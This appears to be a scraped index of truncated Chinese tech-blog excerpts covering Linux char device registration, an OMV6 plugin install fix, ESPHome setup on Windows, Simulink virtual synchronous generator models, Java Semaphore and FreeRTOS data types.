大家好&#xff0c;今天给大家分享一下&#xff0c;linux系统中常见的注册函数register_chrdev_region()、register_chrdev()、 alloc_chrdev_region()的使用方法​。 一、函数包含的头文件&#xff1a; 分配设备编号&#xff0c;注册设备与注销设备的函数均在fs.h中申明&…

OMV6 安装Extras 插件失败的解决方法

# Time: 2023/10/07 #Author: Xiaohong # 运行环境: OS: OMV6 # 功能: 安装Extras 插件失败的解决方法 问题描述&#xff1a;OMV6 安装插件omv-extras&#xff0c;只能按如下提示的命令行&#xff0c;但安装过程中&#xff0c;会提示raw.githubusercontent.com 无法访问插…

校招秋招,性格和职业有关系吗?

企业在招聘应届毕业生时不再局限于普通的面试或者笔试&#xff0c;在互联网时代&#xff0c;为了能够更好的匹配需要的优质人才&#xff0c;企业会通过各种测试来提高招聘的准确率以及成功率。也许以前很多人都听说过性格和职业是有一定关系的&#xff0c;但是如何确定自己的性…

win安装ESPHome教程

感谢 Little-Bear-Bear 博主的教程,ESPHome入门 windows环境安装 -01 1.安装python 从Python官方网站下载。 确保选中“将Python添加到PATH”&#xff0c;然后一直通过 安装。 安装后重新启动计算机 winR 。按回车键。cmd python --version输入 查看 是否安装成功 python…

基于虚拟同步发电机控制的双机并联Simulink仿真模型

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

基于LADRC自抗扰控制的VSG三相逆变器预同步并网控制策略(Simulink仿真实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

8.2 JUC - 4.Semaphore

目录 一、是什么&#xff1f;二、简单使用三、semaphore应用四、Semaphore原理 一、是什么&#xff1f; Semaphore&#xff1a;信号量&#xff0c;用来限制能同时访问共享资源的线程上限 二、简单使用 public class TestSemaphore {public static void main(String[] args) …

freeRTOS的数据类型定义(portmacro.h文件里)

freeRTOS的数据类型定义&#xff08;portmacro.h文件里&#xff09; 解读&#xff1a; https://www.bilibili.com/video/BV1n8411y7DF/?buvidXY4F2994565924F2FFA7142AEEB2220A602A4&is_story_h5false&mid%2B8iBjJuKH0VIWaMd8h0wSQ%3D%3D&p1&plat_id114&s…